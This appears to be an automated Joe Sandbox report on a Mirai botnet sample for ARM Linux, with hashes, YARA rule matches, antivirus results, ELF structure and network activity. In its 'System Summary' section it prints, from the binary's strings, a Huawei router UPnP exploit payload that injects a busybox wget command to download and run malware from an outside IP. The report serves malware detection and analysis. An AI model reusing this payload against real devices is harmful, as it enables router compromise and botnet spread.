Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
arm6.elf

Overview

General Information

Sample name:arm6.elf
Analysis ID:1585021
MD5:bc42a170beafa560d6c939d9533617ff
SHA1:8adf6458066f1ffba87d3dd2e1b3cd47cbf09dc0
SHA256:464eb4cefb4bc3d24c9c961e24304ceb3959267598b8647df2ec535ee20fcafb
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:80
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585021
Start date and time:2025-01-07 00:49:06 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 32s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm6.elf
Detection:MAL
Classification:mal80.troj.linELF@0/0@2/0
  • VT rate limit hit for: arm6.elf
Command:/tmp/arm6.elf
PID:5565
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • arm6.elf (PID: 5565, Parent: 5481, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arm6.elfJoeSecurity_Mirai_9Yara detected MiraiJoe Security
    arm6.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      arm6.elfLinux_Trojan_Mirai_0bce98a2unknownunknown
      • 0xe868:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
      arm6.elfMirai_Botnet_MalwareDetects Mirai Botnet MalwareFlorian Roth
      • 0xe80c:$x2: /dev/misc/watchdog
      • 0xe7fc:$x3: /dev/watchdog
      • 0xe874:$s5: HWCLVGAJ
      SourceRuleDescriptionAuthorStrings
      5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmpJoeSecurity_Mirai_9Yara detected MiraiJoe Security
        5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
          5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmpLinux_Trojan_Mirai_0bce98a2unknownunknown
          • 0xe868:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
          5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmpMirai_Botnet_MalwareDetects Mirai Botnet MalwareFlorian Roth
          • 0xe80c:$x2: /dev/misc/watchdog
          • 0xe7fc:$x3: /dev/watchdog
          • 0xe874:$s5: HWCLVGAJ
          Process Memory Space: arm6.elf PID: 5565JoeSecurity_Mirai_6Yara detected MiraiJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: arm6.elfAvira: detected
            Source: arm6.elfReversingLabs: Detection: 60%
            Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
            Source: arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: arm6.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

            System Summary

            barindex
            Source: arm6.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
            Source: arm6.elf, type: SAMPLEMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
            Source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
            Source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORYMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
            Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
            Source: ELF static info symbol of initial sample.symtab present: no
            Source: arm6.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
            Source: arm6.elf, type: SAMPLEMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
            Source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
            Source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORYMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
            Source: classification engineClassification label: mal80.troj.linELF@0/0@2/0
            Source: /tmp/arm6.elf (PID: 5565)Queries kernel information via 'uname': Jump to behavior
            Source: arm6.elf, 5565.1.000055ea2f5f2000.000055ea2f720000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
            Source: arm6.elf, 5565.1.000055ea2f5f2000.000055ea2f720000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: arm6.elf, 5565.1.00007ffd307dc000.00007ffd307fd000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: arm6.elf, 5565.1.00007ffd307dc000.00007ffd307fd000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
            Source: arm6.elf, 5565.1.00007ffd307dc000.00007ffd307fd000.rw-.sdmpBinary or memory string: ux86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6.elf PID: 5565, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: arm6.elf, type: SAMPLE
            Source: Yara matchFile source: 5565.1.00007f4fb4017000.00007f4fb4026000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6.elf PID: 5565, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local System1
            Non-Application Layer Protocol
            Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Application Layer Protocol
            Exfiltration Over BluetoothNetwork Denial of Service
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet
            SourceDetectionScannerLabelLink
            arm6.elf61%ReversingLabsLinux.Trojan.Mirai
            arm6.elf100%AviraEXP/ELF.Gafgyt.X
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches
            NameIPActiveMaliciousAntivirus DetectionReputation
            daisy.ubuntu.com
            162.213.35.24
            truefalse
              high
              NameSourceMaliciousAntivirus DetectionReputation
              http://schemas.xmlsoap.org/soap/encoding/arm6.elffalse
                high
                http://schemas.xmlsoap.org/soap/envelope/arm6.elffalse
                  high
                  No contacted IP infos
                  No context
                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  daisy.ubuntu.comngwa5.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.25
                  m68k.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.24
                  arm7.elfGet hashmaliciousMiraiBrowse
                  • 162.213.35.24
                  gnjqwpc.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.24
                  m68k.elfGet hashmaliciousMiraiBrowse
                  • 162.213.35.25
                  mpsl.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.25
                  arm7.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.25
                  sh4.elfGet hashmaliciousMiraiBrowse
                  • 162.213.35.25
                  root.elfGet hashmaliciousMiraiBrowse
                  • 162.213.35.24
                  arm6.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.24
                  No context
                  No context
                  No context
                  No created / dropped files found
                  File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                  Entropy (8bit):6.022423570666083
                  TrID:
                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                  File name:arm6.elf
                  File size:62'840 bytes
                  MD5:bc42a170beafa560d6c939d9533617ff
                  SHA1:8adf6458066f1ffba87d3dd2e1b3cd47cbf09dc0
                  SHA256:464eb4cefb4bc3d24c9c961e24304ceb3959267598b8647df2ec535ee20fcafb
                  SHA512:2fae83175d419f8e28bed55b3497f4a66fcf87072bb5c995f276e2b0ee849dbd7d7a2e24fab97d2728fde1355a5567eea4653f7ea9f550e25100197bfd6dd551
                  SSDEEP:1536:n0bnYODHZAQKSENHivJyWSXz9kHz4IOiqDZJ1TI:UuQsNCBy3XXDZJ1T
                  TLSH:00530856B8818F12C5D412BBFA2E118D331357B8E2DFB2229D206F24778B96F0E37955
                  File Content Preview:.ELF..............(.....T...4...........4. ...(.....................................................$...L...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.$.............-.@0....S

                  ELF header

                  Class:ELF32
                  Data:2's complement, little endian
                  Version:1 (current)
                  Machine:ARM
                  Version Number:0x1
                  Type:EXEC (Executable file)
                  OS/ABI:UNIX - System V
                  ABI Version:0
                  Entry Point Address:0x8154
                  Flags:0x4000002
                  ELF Header Size:52
                  Program Header Offset:52
                  Program Header Size:32
                  Number of Program Headers:3
                  Section Header Offset:62360
                  Section Header Size:40
                  Number of Section Headers:12
                  Header String Table Index:11
                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                  NULL0x00x00x00x00x0000
                  .initPROGBITS0x80940x940x100x00x6AX004
                  .textPROGBITS0x80b00xb00xe4000x00x6AX0016
                  .finiPROGBITS0x164b00xe4b00x100x00x6AX004
                  .rodataPROGBITS0x164c00xe4c00x9500x00x2A004
                  .init_arrayINIT_ARRAY0x1f0040xf0080x40x00x3WA004
                  .fini_arrayFINI_ARRAY0x1f0080xf00c0x40x00x3WA004
                  .gotPROGBITS0x1f0100xf0140x740x40x3WA004
                  .dataPROGBITS0x1f0840xf0880x2a00x00x3WA004
                  .bssNOBITS0x1f3240xf3280x252c0x00x3WA004
                  .ARM.attributesARM_ATTRIBUTES0x00xf3280x100x00x0001
                  .shstrtabSTRTAB0x00xf3380x5d0x00x0001
                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                  LOAD0x00x80000x80000xee100xee106.07010x5R E0x8000.init .text .fini .rodata
                  LOAD0xf0040x1f0040x1f0000x3240xa84c4.15230x6RW 0x8000.init_array .fini_array .got .data .bss
                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                  TimestampSource PortDest PortSource IPDest IP
                  Jan 7, 2025 00:50:04.677647114 CET4515653192.168.2.148.8.8.8
                  Jan 7, 2025 00:50:04.682463884 CET53451568.8.8.8192.168.2.14
                  Jan 7, 2025 00:50:04.682527065 CET4515653192.168.2.148.8.8.8
                  Jan 7, 2025 00:50:04.682558060 CET4515653192.168.2.148.8.8.8
                  Jan 7, 2025 00:50:04.682575941 CET4515653192.168.2.148.8.8.8
                  Jan 7, 2025 00:50:04.687352896 CET53451568.8.8.8192.168.2.14
                  Jan 7, 2025 00:50:04.687364101 CET53451568.8.8.8192.168.2.14
                  Jan 7, 2025 00:50:05.126833916 CET53451568.8.8.8192.168.2.14
                  Jan 7, 2025 00:50:05.126943111 CET4515653192.168.2.148.8.8.8
                  Jan 7, 2025 00:50:07.125848055 CET53451568.8.8.8192.168.2.14
                  Jan 7, 2025 00:50:07.126207113 CET4515653192.168.2.148.8.8.8
                  Jan 7, 2025 00:50:07.130985022 CET53451568.8.8.8192.168.2.14
                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                  Jan 7, 2025 00:50:04.682558060 CET192.168.2.148.8.8.80xda3bStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                  Jan 7, 2025 00:50:04.682575941 CET192.168.2.148.8.8.80x881aStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                  Jan 7, 2025 00:50:05.126833916 CET8.8.8.8192.168.2.140xda3bNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                  Jan 7, 2025 00:50:05.126833916 CET8.8.8.8192.168.2.140xda3bNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                  System Behavior

                  Start time (UTC):23:50:02
                  Start date (UTC):06/01/2025
                  Path:/tmp/arm6.elf
                  Arguments:/tmp/arm6.elf
                  File size:4956856 bytes
                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1